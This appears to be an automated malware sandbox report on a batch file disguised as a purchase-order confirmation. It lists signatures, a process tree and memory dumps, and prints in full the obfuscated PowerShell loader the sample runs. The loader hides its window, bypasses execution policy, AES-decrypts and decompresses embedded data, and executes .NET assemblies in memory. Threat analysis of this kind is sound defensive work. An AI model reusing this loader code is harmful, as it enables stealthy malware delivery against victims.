Analysis
- max time kernel
149s - max time network
94s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
23/04/2026, 09:27
General
- Target REF-ORDER CONFIRMATION OF PO-R2045.bat
- Size 691KB
- Sample260423-le2e4sgv41
- SHA256 ae4506ade7e693e10580570cd6a6835138ebc99a9a1aaad36c19aad2a18d5dc0
Malware Config
Signatures
- Drops startup file 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\REF-ORDER CONFIRMATION OF PO-R2045.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe"C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" -w h -NoP -EP bypass -Command "function MXXXK($DjliF){ $oGuBQ=New-Object System.IO.MemoryStream(,$DjliF); $rstGy=New-Object System.IO.MemoryStream; $xsRNK=New-Object System.IO.Compression.GZipStream($oGuBQ, [IO.Compression.CompressionMode]::Decompress); $xsRNK.CopyTo($rstGy); $xsRNK.Dispose(); $oGuBQ.Dispose(); $rstGy.Dispose(); $rstGy.ToArray();}function QGRJl($DjliF){ $OoyVM=[System.Security.Cryptography.Aes]::Create(); $OoyVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OoyVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OoyVM.Key=[System.Convert]::FromBase64String('6LW6Av1bkX5Sdemxdz0A7ysusJV0L4le22ZDNqUroC4='); $OoyVM.IV=[System.Convert]::FromBase64String('B/P3gBrU7zPzcqXuslyaZw=='); $WeMee=$OoyVM.CreateDecryptor(); $QRWOs=$WeMee.TransformFinalBlock($DjliF, 0, $DjliF.Length); $WeMee.Dispose(); $OoyVM.Dispose(); $QRWOs;}function Zwlya($DjliF,$zaJLX){ $JJkOl=[System.Reflection.Assembly]::Load([byte[]]$DjliF); $Riocm=$JJkOl.EntryPoint; $Riocm.Invoke($null, $zaJLX);}$Byncu = 'C:\Users\Admin\AppData\Local\Temp\REF-ORDER CONFIRMATION OF PO-R2045.bat';$host.UI.RawUI.WindowTitle = $Byncu;$uqbkA=[System.IO.File]::ReadAllText($Byncu).Split([Environment]::NewLine);foreach ($ZKQoB in $uqbkA) { if ($ZKQoB.StartsWith('mPiPdJYjroqCtzilYPrf')) { $pdsDJ=$ZKQoB.Substring(20); break; }}$WMjlM=[string[]]$pdsDJ.Split('\');$CTKUZ=MXXXK (QGRJl ([Convert]::FromBase64String($WMjlM[0].Replace('#', '/').Replace('@', 'A'))));$NMmgT=MXXXK (QGRJl ([Convert]::FromBase64String($WMjlM[1].Replace('#', '/').Replace('@', 'A'))));Zwlya $CTKUZ $null;Zwlya $NMmgT (,[string[]] (''));"2⤵
- Drops startup file
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_xnzajxck.31y.ps1
memory/5668-15-0x0000000005CF0000-0x0000000005D3C000-memory.dmp
memory/5668-16-0x0000000007600000-0x0000000007C7A000-memory.dmp
memory/5668-3-0x0000000004F70000-0x000000000559A000-memory.dmp
memory/5668-0-0x0000000004930000-0x0000000004940000-memory.dmp
memory/5668-5-0x0000000004ED0000-0x0000000004F36000-memory.dmp
memory/5668-6-0x00000000055A0000-0x0000000005606000-memory.dmp
memory/5668-1-0x0000000004820000-0x0000000004856000-memory.dmp
memory/5668-13-0x00000000056D0000-0x0000000005A27000-memory.dmp
memory/5668-2-0x0000000004930000-0x0000000004940000-memory.dmp
memory/5668-14-0x0000000005C40000-0x0000000005C5E000-memory.dmp
memory/5668-4-0x0000000004E30000-0x0000000004E52000-memory.dmp
memory/5668-17-0x0000000006210000-0x000000000622A000-memory.dmp
memory/5668-18-0x0000000000A60000-0x0000000000A68000-memory.dmp
memory/5668-19-0x0000000006F80000-0x0000000007004000-memory.dmp
memory/5668-23-0x0000000007C80000-0x0000000008C80000-memory.dmp
memory/5668-24-0x0000000004930000-0x0000000004940000-memory.dmp
memory/5668-26-0x0000000005A30000-0x0000000005A94000-memory.dmp
memory/5668-25-0x0000000002750000-0x00000000027B4000-memory.dmp
memory/5668-27-0x0000000007C80000-0x0000000008C80000-memory.dmp